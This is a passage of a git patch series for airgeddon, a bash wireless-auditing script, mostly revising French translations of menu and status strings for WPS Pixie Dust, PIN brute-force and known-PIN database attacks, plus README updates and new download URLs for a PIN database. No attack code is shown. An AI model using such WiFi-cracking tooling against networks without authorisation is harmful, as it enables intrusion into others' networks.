From a315682dfd61327556bf1a7fc5f3afbda4037083 Mon Sep 17 00:00:00 2001 From: kcdtv Date: Thu, 17 Nov 2016 18:07:30 +0100 Subject: [PATCH 01/25] Update airgeddon.sh Translation to French completed (sorry for the delay) --- airgeddon.sh | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 4f8d6fbd7..b773a742b 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3216,7 +3216,7 @@ function language_strings() { arr["ENGLISH",342]="Pixie Dust attack obtains PIN and password in seconds, but not all access points are affected" arr["SPANISH",342]="El ataque Pixie Dust obtiene el PIN y la clave en segundos, pero no todos los puntos de acceso son vulnerables a este ataque" - arr["FRENCH",342]="${pending_of_translation} L'attaque Pixie Dust obtient le code PIN et le mot de passe en quelques secondes, mais les points d'accès ne sont pas tous vulnérables à cette attaque" + arr["FRENCH",342]="L'attaque Pixie Dust permet l'obtention du PIN et du mot de passe en quelques secondes mais les points d'accès ne sont pas tous vulnérables" arr["CATALAN",342]="${pending_of_translation} L'atac Pixie Dust obté el PIN i la clau en segons, però no tots els punts d'accés són vulnerables a aquest atac" arr["PORTUGUESE",342]="O ataque Pixie Dust recebe o PIN e senha em segundos, mas nem todos os pontos de acesso são vulneráveis a este ataque" arr["RUSSIAN",342]="Pixie Dust получает PIN и пароль за секунды, но не все точки доступа подвержены этой атаке" @@ -3224,7 +3224,7 @@ function language_strings() { arr["ENGLISH",343]="In order to success on any WPS based attack, you need good signal of target network. We might otherwise get false negatives" arr["SPANISH",343]="Para realizar cualquier ataque WPS es necesario tener una buena señal de la red objetivo. Si no, podríamos obtener falsos negativos" - arr["FRENCH",343]="${pending_of_translation} Pour effectuer toute WPS attaque dont vous avez besoin d'un bon signe du réseau cible. Nous pourrions obtenir autrement faux négatifs" + arr["FRENCH",343]="Il faut être en de bonnes conditions d'émission et de réception pour pouvoir mener à bien une attaque WPS. Sinon l'attaque pourrait se solder par un faux-positif" arr["CATALAN",343]="${pending_of_translation} Per realitzar qualsevol atac WPS cal tenir un bon senyal de la xarxa objectiu. Si no, podríem obtenir falsos negatius" arr["PORTUGUESE",343]="Para executar qualquer ataque WPS você precisa ter um bom sinal da rede alvo. Caso contrario você pode obter falsos negativos" arr["RUSSIAN",343]="Чтобы добиться успеха при любой WPS атаке, вам нужен хорошей сигнал целевой сети. В противном случае мы можем получить ложные срабатывания" @@ -3232,7 +3232,7 @@ function language_strings() { arr["ENGLISH",344]="Some access points can be blocked after failing some PIN connection attempts. It may vary depending on the access point" arr["SPANISH",344]="Algunos puntos de acceso se bloquean tras fallar cierto número de intentos de conexión por PIN. Puede variar dependiendo del punto de acceso" - arr["FRENCH",344]="${pending_of_translation} Certains points d'accès sont bloqués après avoir raté un certain nombre de tentatives de connexion par code PIN. Elle peut varier en fonction du point d'accès" + arr["FRENCH",344]="Certains routers bloquent le WPS après un certain nombre de PIN erronés. Ce nombre varie selon les modèle" arr["CATALAN",344]="${pending_of_translation} Alguns punts d'accés es bloqueja després de fallar cert nombre d'intents de connexió per PIN. Pot variar depenent del punt d'accés" arr["PORTUGUESE",344]="Alguns pontos de acesso podem estar bloqueados depois de receber uma série de tentativas incorretas de conexão por PIN. Isso pode variar dependendo do ponto de acesso" arr["RUSSIAN",344]="Некоторые точки доступа блокируются после нескольких неудачных попыток подключения с PIN. Это зависит от конкретной точки доступа." @@ -3304,7 +3304,7 @@ function language_strings() { arr["ENGLISH",353]="Checking to solve possible \"bad FCS\" problem if exists. Parameterizing..." arr["SPANISH",353]="Realizando una pequeña prueba para solventar el posible problema de \"bad FCS\" si existiese. Parametrizando..." - arr["FRENCH",353]="${pending_of_translation} Faire un petit test pour résoudre le problème possible de \"bad FCS\" si. Paramétrage..." + arr["FRENCH",353]="Vérification de routine pour prévenir une éventuelle erreur de type \"bad FCS\"" arr["CATALAN",353]="${pending_of_translation} Mitjançant una petita prova per solucionar el possible problema de \"bad FCS\" si existís. Parametritzant..." arr["PORTUGUESE",353]="Fazendo alguns teste para resolver o possível problema \"bad FCS\". Definindo parâmetro..." arr["RUSSIAN",353]="Проверка возможного решения проблемы \"плохого FCS (контроля последовательности кадров)\" если она существует. Параметризация..." @@ -3320,7 +3320,7 @@ function language_strings() { arr["ENGLISH",355]="It seems this interface was parametrized before. It's not necessary to check again" arr["SPANISH",355]="Esta interfaz ya fue parametrizada anteriormente. No es necesario realizar de nuevo el chequeo" - arr["FRENCH",355]="${pending_of_translation} Cette interface a déjà été configuré précédemment. Il est nécessaire de vérifier à nouveau" + arr["FRENCH",355]="Cette interface a déjà été configurée: Pas besoin de vérifier de nouevau son état" arr["CATALAN",355]="${pending_of_translation} Aquesta interfície ja va ser parametritzada anteriorment. No cal fer de nou la revisió" arr["PORTUGUESE",355]="Esta interface já foi configurada anteriormente. Não é necessário verificar novamente" arr["RUSSIAN",355]="Кажется, этот интерфейс был параметризован ранее. Нет необходимости проверять снова" @@ -3328,7 +3328,7 @@ function language_strings() { arr["ENGLISH",356]="Some combinations don't work well. Such as reaver and Ralink chipset cards. If your card has this chipset is recommended to use bully" arr["SPANISH",356]="Algunas combinaciones no funcionan bien. Como por ejemplo reaver y las tarjetas con chipset Ralink. Si tu tarjeta tiene este chipset es mejor utilizar bully" - arr["FRENCH",356]="${pending_of_translation} Certaines combinaisons ne fonctionnent pas bien. Tels que reaver et cartes avec Ralink chipset. Si votre carte a ce chipset est préférable d'utiliser bully" + arr["FRENCH",356]="Il existe certains problèmes spécifiques de compatibilité. L’exemple le plus marquant est sans aucun doute celui des chipsets Ralink qui ne fonctionnent pas bien avec reaver. Il est donc conseillé d'utiliser bully avec ces chipsets" arr["CATALAN",356]="${pending_of_translation} Algunes combinacions no funcionan bé. Com per exemple reaver i les targetes amb chipset Ralink. Si la teva targeta té aquest chipset és millor utilitzar bully" arr["PORTUGUESE",356]="Algumas combinações não funcionam bem. Tais como reaver e placas de rede com chipset Ralink. Se o sua placa de rede tem este chipset é melhor usar bully" arr["RUSSIAN",356]="Некоторые комбинации не работают нормально. К примеру reaver и карты с чипсетом Ralink. Если ваша карта имеет этот чипсет, то рекомендуется использовать bully" @@ -3336,7 +3336,7 @@ function language_strings() { arr["ENGLISH",357]="6. (reaver) Custom PIN association" arr["SPANISH",357]="6. (reaver) Asociación con PIN personalizado" - arr["FRENCH",357]="${pending_of_translation} 6. (reaver) Association avec le code PIN personnalisé" + arr["FRENCH",357]="6. (reaver) Association avec le code PIN personnalisé" arr["CATALAN",357]="${pending_of_translation} 6. (reaver) Associació amb PIN personalitzat" arr["PORTUGUESE",357]="6. (reaver) Associação com o PIN personalizado" arr["RUSSIAN",357]="6. (reaver) Пользовательские PIN ассоциации" @@ -3344,7 +3344,7 @@ function language_strings() { arr["ENGLISH",358]="8. (reaver) Pixie Dust attack" arr["SPANISH",358]="8. (reaver) Ataque Pixie Dust" - arr["FRENCH",358]="${pending_of_translation} 8. (reaver) Attaque Pixie Dust" + arr["FRENCH",358]="8. (reaver) Attaque Pixie Dust" arr["CATALAN",358]="${pending_of_translation} 8. (reaver) Atac Pixie Dust" arr["PORTUGUESE",358]="8. (reaver) Ataque Pixie Dust" arr["RUSSIAN",358]="8. (reaver) Атака Pixie Dust" @@ -3352,7 +3352,7 @@ function language_strings() { arr["ENGLISH",359]="10. (reaver) Bruteforce PIN attack" arr["SPANISH",359]="10. (reaver) Ataque de fuerza bruta por PIN" - arr["FRENCH",359]="${pending_of_translation} 10. (reaver) Attaque de force brute PIN" + arr["FRENCH",359]="10. (reaver) Attaque de force brute PIN" arr["CATALAN",359]="${pending_of_translation} 10. (reaver) Atac de força bruta per PIN" arr["PORTUGUESE",359]="10. (reaver) Ataque de força bruta por PIN" arr["RUSSIAN",359]="10. (reaver) Атака перебором PIN" @@ -3360,7 +3360,7 @@ function language_strings() { arr["ENGLISH",360]="12. (reaver) Known PINs database based attack" arr["SPANISH",360]="12. (reaver) Ataque basado en base de datos de PINs conocidos" - arr["FRENCH",360]="${pending_of_translation} 12. (reaver) Sur la base base de données d'attaque PINs connus" + arr["FRENCH",360]="12. (reaver) Attaque en utilisant la base de données de PIN connus" arr["CATALAN",360]="${pending_of_translation} 12. (reaver) Atac basat en base de dades de PINs coneguts" arr["PORTUGUESE",360]="12. (reaver) Ataque com base em banco de dados de PINs conhecidos" arr["RUSSIAN",360]="12. (reaver) Атака на основе базы данных известных PIN" @@ -3376,7 +3376,7 @@ function language_strings() { arr["ENGLISH",362]="Custom PIN set to ${normal_color}${custom_pin}" arr["SPANISH",362]="PIN personalizado elegido ${normal_color}${custom_pin}" - arr["FRENCH",362]="${pending_of_translation} PIN personnalisé choisi ${normal_color}${custom_pin}" + arr["FRENCH",362]="PIN personnalisé définit ${normal_color}${custom_pin}" arr["CATALAN",362]="${pending_of_translation} PIN personalitzat triat ${normal_color}${custom_pin}" arr["PORTUGUESE",362]="PIN personalizado escolhido ${normal_color}${custom_pin}" arr["RUSSIAN",362]="Пользовательский PIN установлен на ${normal_color}${custom_pin}" @@ -3384,7 +3384,7 @@ function language_strings() { arr["ENGLISH",363]="Type custom PIN :" arr["SPANISH",363]="Escribe el PIN personalizado :" - arr["FRENCH",363]="${pending_of_translation} Écrivez PIN personnalisé :" + arr["FRENCH",363]="Rentrez PIN personnalisé :" arr["CATALAN",363]="${pending_of_translation} Escriu el PIN personalitzat :" arr["PORTUGUESE",363]="Escreva o ESSID do alvo :" arr["RUSSIAN",363]="Напишите пользовательский PIN :" @@ -3408,7 +3408,7 @@ function language_strings() { arr["ENGLISH",366]="After stopping the attack (using [Ctrl+C]), the window will not be closed automatically. So you'll have time to write down the password if successful. You'll have to close it manually" arr["SPANISH",366]="Tras parar el ataque (usando [Ctrl+C]), la ventana del ataque no se cerrará automáticamente. Asi tendrás tiempo de anotar la contraseña en caso de tener éxito. Tendrás que cerrarla manualmente" - arr["FRENCH",366]="${pending_of_translation} Après l'arrêt de l'attaque (en utilisant [Ctrl+C]), la fenêtre ne se ferme pas automatiquement attaque. Donc, avoir le temps d'écrire le mot de passe en cas de succès. Vous devez fermer manuellement" + arr["FRENCH",366]="Après l'arrêt de l'attaque (en utilisant [Ctrl+C]), la fenêtre ne se ferme pas automatiquement. Afin de vous laisser le temps d'écrire le mot de passe en cas de succès. Vous devrez la fermer manuellement" arr["CATALAN",366]="${pending_of_translation} Després parar l'atac (usant [Ctrl+C]), la finestra de l'atac no es tancarà automàticament. Així tindràs temps d'anotar la contrasenya en cas de tenir èxit. Hauràs de tancar-la manualment" arr["PORTUGUESE",366]="Depois de parar o ataque (usando [Ctrl+C]), a janela não será fechada automaticamente. Então temos tempo para anotar a senha em caso ela tenha sido obtida. Em seguida você vai ter que fechar a janela manualmente" arr["RUSSIAN",366]="После остановки атаки (используя [Ctrl+C]), окно автоматически не закроется. У вас будет время переписать пароль, если атака завершилась успешно. Затем вам нужно закрыть его вручную" @@ -3416,7 +3416,7 @@ function language_strings() { arr["ENGLISH",367]="You have bully installed (v${bully_version}), but not required version. To perform Pixie Dust integrated bully attack you must have at least version v${minimum_bully_pixiewps_version}" arr["SPANISH",367]="Tienes bully instalado (v${bully_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con bully has de tener al menos la versión v${minimum_bully_pixiewps_version}" - arr["FRENCH",367]="${pending_of_translation} Vous bully installé (v${bully_version}), mais pas la version requise. Pour rendre l'attaque bully intégrée Pixie Dust doit avoir au moins la version v${minimum_bully_pixiewps_version}" + arr["FRENCH",367]="Bully est installé (v${bully_version}) mais ce n'est pas la bonne version. Vous devez avoir au moins la version v${minimum_bully_pixiewps_version} pour la compatibilité pixie dust" arr["CATALAN",367]="${pending_of_translation} Tens bully instal·lat (v${bully_version}), encara que no la versió requerida. Per realitzar l'atac Pixie Dust integrat amb bully has de tenir almenys la versió v${minimum_bully_pixiewps_version}" arr["PORTUGUESE",367]="Você tem o bully instalado (v${bully_version}), mas não a versão necessária. Para fazer o ataque Pixie Dust com bully você precisa ter pelo menos a versão v${minimum_bully_pixiewps_version}" arr["RUSSIAN",367]="У вас установлен bully (v${bully_version}), но не та версия, которая требуется. Для выполнения интегрированной в bully атаки Pixie Dust у вас должна быть по крайне мере версия v${minimum_bully_pixiewps_version}" @@ -3424,7 +3424,7 @@ function language_strings() { arr["ENGLISH",368]="You have bully installed (v${bully_version}). You meet the version requirement to perform Pixie Dust integrated bully attack (minimum version v${minimum_bully_pixiewps_version}). Script can continue..." arr["SPANISH",368]="Tienes bully instalado (v${bully_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con bully (versión mínima v${minimum_bully_pixiewps_version}). El script puede continuar..." - arr["FRENCH",368]="${pending_of_translation} Vous bully installé (v${bully_version}). Vous répondez aux exigences de version pour le Pixie Dust intégré attaque bully (version minimale v${minimum_bully_pixiewps_version}). Le script peut continuer..." + arr["FRENCH",368]="Bully est installé (v${bully_version}). Cette version est compatible avec l'attaque pixie dust (version minimale v${minimum_bully_pixiewps_version}). Le script peut continuer..." arr["CATALAN",368]="${pending_of_translation} Tens bully instal·lat (v${bully_version}). Compleixes amb el requisit de versió per a realitzar l'atac Pixie Dust integrat amb bully (versió mínima v${minimum_bully_pixiewps_version}). El script pot continuar..." arr["PORTUGUESE",368]="Você tem o bully instalado (v${bully_version}). Você cumpre a exigência de versão para o ataque Pixie Dust com bully (versão mínima v${minimum_bully_pixiewps_version}). O script pode continuar..." arr["RUSSIAN",368]="У вас установлен bully (v${bully_version}). Версия удовлетворяет требованиям для проведения интегрированной в bully атаки Pixie Dust (минимальная версия v${minimum_bully_pixiewps_version}). Скрипт может продолжить работу..." @@ -3432,7 +3432,7 @@ function language_strings() { arr["ENGLISH",369]="To perform the Pixie Dust integrated attack with reaver or bully, you must have installed at least ${minimum_reaver_pixiewps_version} version for reaver and ${minimum_bully_pixiewps_version} for bully" arr["SPANISH",369]="Para realizar el ataque Pixie Dust integrado con reaver o con bully, has de tener instalada como mínimo la versión ${minimum_reaver_pixiewps_version} para reaver y ${minimum_bully_pixiewps_version} para bully" - arr["FRENCH",369]="${pending_of_translation} Pour rendre le Pixie Dust intégré attaque reaver ou bully, vous devez avoir installé au moins le ${minimum_reaver_pixiewps_version} por reaver et ${minimum_bully_pixiewps_version} pour bully" + arr["FRENCH",369]="Les versions minimales requises de reaver et bully pour l'attaque pixie wps sont reaver ${minimum_reaver_pixiewps_version} et bully ${minimum_bully_pixiewps_version}" arr["CATALAN",369]="${pending_of_translation} Per realitzar l'atac Pixie Dust integrat amb reaver o amb bully, has de tenir instal·lada com a mínim la versió ${minimum_reaver_pixiewps_version} per reaver i ${minimum_bully_pixiewps_version} per bully" arr["PORTUGUESE",369]="Para executar o ataque Pixie Dust com reaver ou bully, é necessário ter instalado pelo menos a versão ${minimum_reaver_pixiewps_version} para o reaver e ${minimum_bully_pixiewps_version} para o bully" arr["RUSSIAN",369]="Для выполнения интегрированной атаки Pixie Dust с reaver или bully, у вас должна быть установлена, по крайней мере, версия ${minimum_reaver_pixiewps_version} для reaver и ${minimum_bully_pixiewps_version} для bully" @@ -3440,7 +3440,7 @@ function language_strings() { arr["ENGLISH",370]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform Pixie Dust integrated reaver attack (minimum version v${minimum_reaver_pixiewps_version}). Script can continue..." arr["SPANISH",370]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con reaver (versión minima v${minimum_reaver_pixiewps_version}). El script puede continuar..." - arr["FRENCH",370]="${pending_of_translation} Vous reaver installé (v${reaver_version}). Vous répondez aux exigences de version pour le Pixie Dust intégré attaque reaver (version minimale v${minimum_reaver_pixiewps_version}). Le script peut continuer..." + arr["FRENCH",370]="Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque pixie dust (version minimale: ${minimum_reaver_pixiewps_version}). Le script peut continuer..." arr["CATALAN",370]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac Pixie Dust integrat amb reaver (versió mínima v${minimum_reaver_pixiewps_version}). El script pot continuar..." arr["PORTUGUESE",370]="Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque Pixie Dust com reaver (versão mínima v${minimum_reaver_pixiewps_version}). O script pode continuar..." arr["RUSSIAN",370]="У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки Pixie Dust (минимальная версия v${minimum_reaver_pixiewps_version}). Скрипт может продолжить работу..." @@ -3448,7 +3448,7 @@ function language_strings() { arr["ENGLISH",371]="You have reaver installed (v${reaver_version}), but not required version. To perform Pixie Dust integrated reaver attack you must have at least version v${minimum_reaver_pixiewps_version}" arr["SPANISH",371]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con reaver has de tener al menos la versión v${minimum_reaver_pixiewps_version}" - arr["FRENCH",371]="${pending_of_translation} Vous reaver installé (v${reaver_version}), mais pas la version requise. Pour rendre l'attaque reaver intégrée Pixie Dust doit avoir au moins la version v${minimum_reaver_pixiewps_version}" + arr["FRENCH",371]="Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque pixie dust. Version minimale requise: v${minimum_reaver_pixiewps_version}" arr["CATALAN",371]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}), encara que no la versió requerida. Per realitzar l'atac Pixie Dust integrat amb reaver has de tenir almenys la versió v${minimum_reaver_pixiewps_version}" arr["PORTUGUESE",371]="Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque reaver integrado Pixie Dust tem que ter pelo menos a versão v${minimum_reaver_pixiewps_version}" arr["RUSSIAN",371]="У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки Pixie Dust у вас должна быть по крайней мере v${minimum_reaver_pixiewps_version}" From 827d108f2ce9d6ed8c4147ab118f86557ce2eecc Mon Sep 17 00:00:00 2001 From: kcdtv Date: Fri, 18 Nov 2016 15:39:04 +0100 Subject: [PATCH 02/25] Update airgeddon.sh A couple of mistakes corrected in the French translation (previous commit) --- airgeddon.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index b773a742b..5a397025a 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3224,7 +3224,7 @@ function language_strings() { arr["ENGLISH",343]="In order to success on any WPS based attack, you need good signal of target network. We might otherwise get false negatives" arr["SPANISH",343]="Para realizar cualquier ataque WPS es necesario tener una buena señal de la red objetivo. Si no, podríamos obtener falsos negativos" - arr["FRENCH",343]="Il faut être en de bonnes conditions d'émission et de réception pour pouvoir mener à bien une attaque WPS. Sinon l'attaque pourrait se solder par un faux-positif" + arr["FRENCH",343]="Il faut être dans de bonnes conditions d'émission et de réception pour pouvoir mener à bien une attaque WPS. Sinon l'attaque pourrait se solder par un faux négatif" arr["CATALAN",343]="${pending_of_translation} Per realitzar qualsevol atac WPS cal tenir un bon senyal de la xarxa objectiu. Si no, podríem obtenir falsos negatius" arr["PORTUGUESE",343]="Para executar qualquer ataque WPS você precisa ter um bom sinal da rede alvo. Caso contrario você pode obter falsos negativos" arr["RUSSIAN",343]="Чтобы добиться успеха при любой WPS атаке, вам нужен хорошей сигнал целевой сети. В противном случае мы можем получить ложные срабатывания" @@ -3232,7 +3232,7 @@ function language_strings() { arr["ENGLISH",344]="Some access points can be blocked after failing some PIN connection attempts. It may vary depending on the access point" arr["SPANISH",344]="Algunos puntos de acceso se bloquean tras fallar cierto número de intentos de conexión por PIN. Puede variar dependiendo del punto de acceso" - arr["FRENCH",344]="Certains routers bloquent le WPS après un certain nombre de PIN erronés. Ce nombre varie selon les modèle" + arr["FRENCH",344]="Certains routeurs bloquent le WPS après un certain nombre de PIN erronés. Ce nombre varie selon les modèle" arr["CATALAN",344]="${pending_of_translation} Alguns punts d'accés es bloqueja després de fallar cert nombre d'intents de connexió per PIN. Pot variar depenent del punt d'accés" arr["PORTUGUESE",344]="Alguns pontos de acesso podem estar bloqueados depois de receber uma série de tentativas incorretas de conexão por PIN. Isso pode variar dependendo do ponto de acesso" arr["RUSSIAN",344]="Некоторые точки доступа блокируются после нескольких неудачных попыток подключения с PIN. Это зависит от конкретной точки доступа." @@ -3328,7 +3328,7 @@ function language_strings() { arr["ENGLISH",356]="Some combinations don't work well. Such as reaver and Ralink chipset cards. If your card has this chipset is recommended to use bully" arr["SPANISH",356]="Algunas combinaciones no funcionan bien. Como por ejemplo reaver y las tarjetas con chipset Ralink. Si tu tarjeta tiene este chipset es mejor utilizar bully" - arr["FRENCH",356]="Il existe certains problèmes spécifiques de compatibilité. L’exemple le plus marquant est sans aucun doute celui des chipsets Ralink qui ne fonctionnent pas bien avec reaver. Il est donc conseillé d'utiliser bully avec ces chipsets" + arr["FRENCH",356]="Il existe certains problèmes spécifiques de compatibilité. L’exemple le plus marquant est sans aucun doute celui des chipsets Ralink qui ne fonctionnent pas bien avec reaver. Il est donc conseillé d'utiliser bully avec ces chipsets" arr["CATALAN",356]="${pending_of_translation} Algunes combinacions no funcionan bé. Com per exemple reaver i les targetes amb chipset Ralink. Si la teva targeta té aquest chipset és millor utilitzar bully" arr["PORTUGUESE",356]="Algumas combinações não funcionam bem. Tais como reaver e placas de rede com chipset Ralink. Se o sua placa de rede tem este chipset é melhor usar bully" arr["RUSSIAN",356]="Некоторые комбинации не работают нормально. К примеру reaver и карты с чипсетом Ralink. Если ваша карта имеет этот чипсет, то рекомендуется использовать bully" From 9d0a7ddf33cdd896839f37307068bd57f15193e5 Mon Sep 17 00:00:00 2001 From: xtonousou Date: Fri, 18 Nov 2016 18:21:26 +0200 Subject: [PATCH 03/25] Added Arch Linux version --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7b11ab9ff..a6db3b035 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,7 @@ Tested on these compatible Linux distros:
*-Gentoo 20160514 and 20160704*
*-Fedora 24*
*-Red Hat 7 (Maipo)*
-*-Arch 4.6.2-1, 4.7.5-1, 4.8.4-1 and 4.8.6-1*
+*-Arch 4.6.2-1, 4.7.5-1, 4.8.4-1, 4.8.6-1 and 4.8.8-2*
*-Raspbian 7 (Wheezy) and 8 (Jessie) (Raspberry Pi)*
*-OpenMandriva LX3*

From cea4f9f82f7045046372eb3f4f103c80f3962bcf Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 21 Nov 2016 21:07:41 +0100 Subject: [PATCH 04/25] First approach (not finished) of v5.1. pins db checksums check and download done. --- README.md | 14 +-- airgeddon.sh | 278 ++++++++++++++++++++++++++++++++++++++++++++++---- changelog.txt | 6 +- 3 files changed, 271 insertions(+), 27 deletions(-) diff --git a/README.md b/README.md index a6db3b035..ad8884f43 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
- Offline password decrypting on WPA/WPA2 captured files (dictionary, bruteforce and rule based).
- 4 Evil Twin attacks: Evil Twin with integrated sniffing, sslstrip mode, "only AP" version to sniff using external sniffer and "black hole" captive portal to capture wifi passwords.
-- WPS features: WPS scanning (wash). WPS Custom pin association. WPS Pixie Dust attacks integrated using reaver and bully. WPS bruteforce PIN attacks.
+- WPS features: WPS scanning (wash). WPS Custom PIN association. WPS Pixie Dust attacks integrated using reaver and bully. WPS bruteforce PIN attacks. WPS online PIN database search for "known WPS PINs attack" and integration of the most common PIN generation algorithms
- Compatibility with many Linux distros (see requirements section).
- Easy targeting and selection in every section.
- Drag and drop files on console window for entering file paths.
@@ -19,9 +19,6 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
- Auto-update. Script checks for newer version if possible. -#Coming soon -- WPS PIN Database search for "easy AP" known PINs and integration of most common PIN generation algorithms - #Requirements Bash version 4.0 or later needed.

@@ -137,9 +134,6 @@ You can download the master version or the beta testing version from the develop See [Changelog](changelog.txt) file to review changes. #Special Thanks to -Thanks to the "Spanish pentesting crew", the Wifislax staff, the Seguridadwireless.net, Wifi-libre.com and Lampiweb.com forum people that helped me.
-Thanks to the Hackware.ru admins.
-
**Kcdtv** for French translations, beta testing, suggestions about new features and support received since the beginning.
**USUARIONUEVO** for helping me to improve the script, suggestions about new features and for the support received.
**El padrino** for Catalan translations.
@@ -147,11 +141,17 @@ Thanks to the Hackware.ru admins.
**MiAl** for Russian translations.
**xtonousou** for Greek translations, beta testing, suggestions and the help received fixing code warnings and other stuff.

+Thanks to the "Spanish pentesting crew", the Wifislax staff, the Seguridadwireless.net, Wifi-libre.com and Lampiweb.com forum people that helped me.
+Thanks to the Hackware.ru admins. Thanks to all the people who helped me building the online PIN database for WPS. Thank you to Dominique Bongard for bringing to us Pixie Dust attacks. Thanks to Zhao Chunsheng for his wonderful algorithm.
+I want to thank you too, to all developers who made and designed the third-party tools airgeddon uses.
+
Thank you too to other authors who inspired me with their scripts:
*vk496 -> Linset*
*MI1 -> Airstorm*
*MatToufoutu -> Ap-fucker*
*Coeman76 -> Handshaker* +*Goyfilms -> Goyscript* +*Kcdtv -> WPSPin* #Donate If you enjoyed the script, feel free to give a donation. Invite me to a coffee through Paypal or send me a fraction of a bitcoin:
diff --git a/airgeddon.sh b/airgeddon.sh index 5a397025a..145a4f6d6 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1,6 +1,6 @@ #!/bin/bash -airgeddon_version="5.01" +airgeddon_version="5.1" #Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 debug_mode=0 @@ -24,17 +24,6 @@ declare -A lang_association=( ["gr"]="GREEK" ) -#Repository and contact vars -github_user="v1s1t0r1sh3r3" -github_repository="airgeddon" -branch="master" -script_filename="airgeddon.sh" -urlgithub="https://github.com/${github_user}/${github_repository}" -urlscript_directlink="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${script_filename}" -host_to_check_internet="github.com" -mail="v1s1t0r.1s.h3r3@gmail.com" -author="v1s1t0r" - #Tools vars essential_tools_names=( "iwconfig" @@ -108,16 +97,34 @@ standardhandshake_filename="handshake-01.cap" tmpdir="/tmp/" osversionfile_dir="/etc/" minimum_bash_version_required="4.0" -minimum_reaver_pixiewps_version="1.5.2" -minimum_reaver_wash_large_version="1.5.2" -minimum_bully_pixiewps_version="1.1" -minimum_bully_verbosity4_version="1.1" hashcat3_version="3.0" resume_message=224 abort_question=12 pending_of_translation="[PoT]" escaped_pending_of_translation="\[PoT\]" standard_resolution="1024x768" +curl_404_error="404: Not Found" + +#WPS vars +minimum_reaver_pixiewps_version="1.5.2" +minimum_reaver_wash_large_version="1.5.2" +minimum_bully_pixiewps_version="1.1" +minimum_bully_verbosity4_version="1.1" +known_pins_dbfile="known_pins.db" +pins_dbfile_checksum="pindb_checksum.txt" + +#Repository and contact vars +github_user="v1s1t0r1sh3r3" +github_repository="airgeddon" +branch="master" +script_filename="airgeddon.sh" +urlgithub="https://github.com/${github_user}/${github_repository}" +urlscript_directlink="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${script_filename}" +urlscript_pins_dbfile="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${known_pins_dbfile}" +urlscript_pins_dbfile_checksum="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${pins_dbfile_checksum}" +host_to_check_internet="github.com" +mail="v1s1t0r.1s.h3r3@gmail.com" +author="v1s1t0r" #Dhcpd, Hostapd and misc Evil Twin vars ip_range="192.168.1.0" @@ -3454,6 +3461,102 @@ function language_strings() { arr["RUSSIAN",371]="У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки Pixie Dust у вас должна быть по крайней мере v${minimum_reaver_pixiewps_version}" arr["GREEK",371]="Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_pixiewps_version}" + arr["ENGLISH",372]="This attack can't be performed without known PINs database file" + arr["SPANISH",372]="Sin fichero de base de datos de PINs conocidos no se puede realizar este ataque" + arr["FRENCH",372]="${pending_of_translation} Aucune base de données de fichiers PINs connus ne peuvent pas effectuer cette attaque" + arr["CATALAN",372]="${pending_of_translation} Sense fitxer de base de dades de PINs coneguts no es pot realitzar aquest atac" + arr["PORTUGUESE",372]="${pending_of_translation} Nenhum banco de dados arquivo de PINs conhecidos não pode executar este ataque" + arr["RUSSIAN",372]="${pending_of_translation} Эта атака не может быть выполнена без файла базы данных известных PINs" + arr["GREEK",372]="${pending_of_translation} Η επίθεση αυτή δεν μπορεί να πραγματοποιηθεί χωρίς να είναι γνωστό τα PINs αρχείου βάσης δεδομένων" + + arr["ENGLISH",373]="The known PINs database file exists. Script can continue..." + arr["SPANISH",373]="Existe el fichero de base de datos de PINs conocidos. El script puede continuar..." + arr["FRENCH",373]="${pending_of_translation} Il y a une base de données de fichier PINs connu. Le script peut continuer..." + arr["CATALAN",373]="${pending_of_translation} Hi ha el fitxer de base de dades de PINs coneguts. El script pot continuar..." + arr["PORTUGUESE",373]="${pending_of_translation} Há um banco de dados de arquivo de PINs conhecido. O script pode continuar..." + arr["RUSSIAN",373]="${pending_of_translation} Известный файл базы данных PINs существует. Скрипт может продолжать..." + arr["GREEK",373]="${pending_of_translation} υπάρχει το γνωστό αρχείο κωδικών PINs της βάσης δεδομένων. Το script μπορεί να συνεχίσει..." + + arr["ENGLISH",374]="Local PINs database file (${known_pins_dbfile}) can't be found in the script folder. It will be attempted to download" + 